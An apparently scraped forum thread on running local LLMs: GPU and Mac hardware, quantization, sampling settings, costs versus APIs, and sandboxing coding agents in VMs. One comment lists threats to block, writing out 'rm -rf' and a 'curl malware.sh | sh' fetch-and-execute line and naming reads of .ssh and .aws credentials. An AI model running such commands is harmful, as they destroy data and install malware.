The caveat is that if you try to use multiple models on the same device at the same time, you thrash and destroy tok/s

So, I always thought local LLMs were toys not worth pursuing.

Only once have I tried something decent like Gemma 4 31B and Qwen 3.6 27B did I realize how incredibly useful they are.

You stop fearing you are sharing sensitive information.

You stop fearing you will run out of tokens.

You stop fearing about the availability of the remote AI.

Local LLMs are extremely valuable.

The M5 hardware is amazing for what it is, but GPUs are still so much faster.

Running the models on the GPU box also means I can use the laptop on my lap instead of turning it into a hot plate.

Get a regular laptop and use the network to access the LLM

This translates to qwen 27b actually working fast enough for useful work on dual 3090s and being painfully slow on Macbook Pros. Also if you're running a big model on a macbook pro the UI gets laggy and the keyboard gets hot. Much better to run dual 3090s in your basement and connect to them from your Macbook.

There are other arguments for running an ssh-able box in a closet somewhere too as with KVMs you can give an agent remote control over the machine itself such that it has vastly more capabilities than if it were controlling its own machine it's running on, as well as not needing to keep the MacBook open all the time just to have the agent finish running.

[0] https://youtu.be/9tGrhrVKCrE

I assume you can then somehow run several hundreds of prompts concurrently?

What is the behavior if one were to run GLM 5.2 with only a single H200 ?

Would it fail to run at all, or would it just run so slowly as to be unusable ?

I would like to prove out the build, and concept, of a SOTA model locally, but then backfill the rest of the GPUs in 18-24 months when they cost significantly less ...

Do we have evidence that this will actually happen? Maybe the belief that it won't pass is what requires evidence, but I think there's a widespread feeling right now that things are just getting permanently worse and this is one example.

The best NV4FP quant for 5.2 appears to be lukealonso's at https://huggingface.co/lukealonso/GLM-5.2-NVFP4, and it is capable of good throughput (75-100 tps) without losing much reasoning performance. Allowing for overhead for the KV cache and other requirements, this quant will (barely) run in 8-way tensor-parallel mode on 8x RTX 6000 cards. Not too long ago it was possible to put an 8x machine together for less than $100K USD, but that's probably not true now, assuming you buy all-new components.

It'll almost certainly be worth it, given the abusive behavior we've seen and will continue to see from the major closed-model providers. If I hadn't already put a similar rig together, I'd be kicking myself. But getting it running well is by no means as simple as buying a bunch of RTX6K cards and calling it a day, and people need to know what they're getting into.

Local AI is in its Altair and IMSAI days. There's no turnkey Apple II or C64 on the market yet, much less an IBM PC. Hardware, yes -- you can buy a capable box off the shelf from various vendors -- but you have to be prepared to take up a whole new hobby when it comes to getting a complete system working well.

> Local setups also often rely on quantization and techniques like REAP to fit the models on their hardware.

This seems to ignore the very real possibility of running SOTA models at full precision on ordinary local hardware using SSD offload. Yes this will be slow and usually have very low throughput (even batched decode can only achieve so much before power and thermal limits become important, and that still leaves you with slow prefill as a major bottleneck) but that's OK if you aren't expecting a real-time response to begin with and your volumes as a single user are low enough.

(If you’re curious, it was running in Pi, but somehow convinced itself it was running in Claude instead and started trying to call Claude tools that didn’t exist)

That said, modern LLM sampling algorithms like min_p, top_n sigma , etc heavily mitigate the performance penalty you get from doing long context tasks. Problems with long context come from accumulation of small sampling errors over time.

My qwen 3.6 27b (the dense one) runs perfectly well on coding tasks at the edge of its context window because I run it using modern LLM sampling stack, namely top N sigma of one, using DRY to stop repetitions and XTC as a superior alternative to temperature for diversification.

Yes there will be a paper soon on arxiv and hopefully NeurIPS proceedings talking about this phenomenon because it’s not well appreciated by the academic AI community yet.

Just two months ago you could get RTX PRO 6000's for about $8500 on ebay, which is the MSRP.

Little tools for NLP, TTS, image processing, audio engineering, signal processing, diffusion plugin for Krita etc. are all great for local setup. I wrote a small piece on it few days back[1].

[1] https://abishekmuthian.com/multiple-20-ai-plans-are-better-t...

For coding task, one needs to break the session among multiple calls I made https://github.com/aka-rider/orqestra but it's possible to do the same in almost any modern harness directly.

The main idea is: - separate session that burns context on reading code and calling tools (context7, etc) -> markdown report "here are relevant patrts of code, docs" "with evidence" to prevent hallucinations

- separate session for planning (architect) - (critic <-> architect) 1-3 times because small model skip over details - worker <-> validator, again, the same reason

Qwen3.6 can run for hours looking for a complex bugs in read-only mode, and usually it gets it. Proposed fix would probably be hacky, but so as Sonnet's

Qwen3.6 can mechanically write code by Opus-made plan. You would have to prompt afterwards:

"Review your own changes. Any bugs? Cross-validate against the original plan - any gaps? Any violations of CLAUDE.md"

But again, I need to do this for Sonnet. But also I use local llms for reindexing knowledge base.

Grooming tickets: I can leave a caveman note "single panel for errors rendering, move all error messages" and come back to 90% ready specs with the end goal and context.

But the ecosystem isn't as mature, so Whisper is still a valid option, even now. For example Parakeet uses Nemotron framework (made by Nvdia), normally you need CUDA, so you need to use an ONNX version instead on AMD. Meanwhile Whisper has VLLM and desktop apps like Buzz.

There aren't many benchmarks and they often don't have all the models, since STT doesn't get nearly enough attention as normal LLMs, but this is one of the more complete ones: https://artificialanalysis.ai/speech-to-text/non-streaming

[1] https://github.com/containers/bubblewrap

[2] https://github.com/libkrun/libkrun

personally, i think either a VM or microVM is the way to go. these things are actually designed as security boundaries, as opposed to containers. and as compared to bubblewrap, you can just give the agent a whole FS to work with and run it in yolo mode, whereas with bubblewrap you have to manually bootstrap the availability of each individual dev tool and make sure its config dirs and package caches and etc are mounted in a secure way and still will probably hit perm errors all the time. and there's just way less isolation.

also, something that has limited support in harnesses but IMO would make a lot of sense is running the harness process in the host, but having all the tool calls and file system interactions delegated to the VM. that way you keep all your session data and auth keys on the main machine where it can never get into context. otoh it makes your harness part of the security boundary, so that's the trade-off.

there's also all the usability questions around how to actually get data in/out of the VM. i have a script which can push local git repos into the VM and then pull from them as a remote, so the VM can't initiate any connection with the host doesn't need to hold git credentials. but ig for someone who wants their agent to push straight to GitHub that's a waste of effort.

options i've tried or seen for the VM itself: - qemu + libvirt: takes some doing to wrangle it together, but very battle tested and configurable - crun-vm is a PoC of higher level integration layer between podman and qemu, which is a really cool way to go about it. seems maybe abandoned but i just think it's neat and very existing tools/standards oriented rather than starting a new project and brand so i mention - libkrun is a newer entrant, and several ppl have built wrappers around it: - microsandbox - smolvm (posted/discussed on here recently) - krunvm

this is all Linux oriented, it's all i know.

You need to model attack vector first.

`rm -rf` - restricted write

`curl malware.sh | sh` restrict execution from writeable dirs (seatbelt/SELinux)

Restricted write to sensitive directories would most likely neuter most malware.

Credentials leak - cleanup environment, deny reading .ssh, .aws, other, and don't allow LLMs anywhere near production systems.

I made a small utility for MacOS https://github.com/aka-rider/leash

But it may be as well a bash script

(I'd be surprised if that local rig really can drive the equivalent of $4,000/month of API spend though, given that a local rig can run prompts in parallel a lot less effectively than Anthropic's many data centers.)

You don't own your fiber connection. So why try to own another rapidly depreciating, expensive, and annoying asset?

Rent cloud GPUs!

You get to participate in the ownership, data control, price control, and hacking culture without having to Frankenstein some hobbyist box that costs a ton, is distilled down to functional uselessness, and is a PITA to maintain.

Inwrnt through 1B tokens my first month with an OEM spark. That's more than $1k of opus. Not a fair comparison, because token patterns are different, but since that time I have also seen a 2-3x improvement in then speeds.from improvements in vllm (mainly MTP). DiffusionGemma is around 4x regular gemma.

Use pi though; claude code has way too much bootstrap context; slows everything way down.

Especially when you realize you really want 8 of them. But...

You're not running a model that's equal to what you get when you buy GLM tokens from Z.ai.

... to be perfectly clear: you have no earthly idea what you're getting when you buy GLM tokens from Z.ai. Your options are to run locally, rent cloud hardware, or hope for the best.

They both have GDDR6.

The B70 has 256 bit it bus at a clock speed of 2375mhz (608 GB/s), the 3090 has a 384 bit bus at a clock speed of 2438mhz (936 GB/s).

It isn't slower, it just has less channels, ie, it is less wide.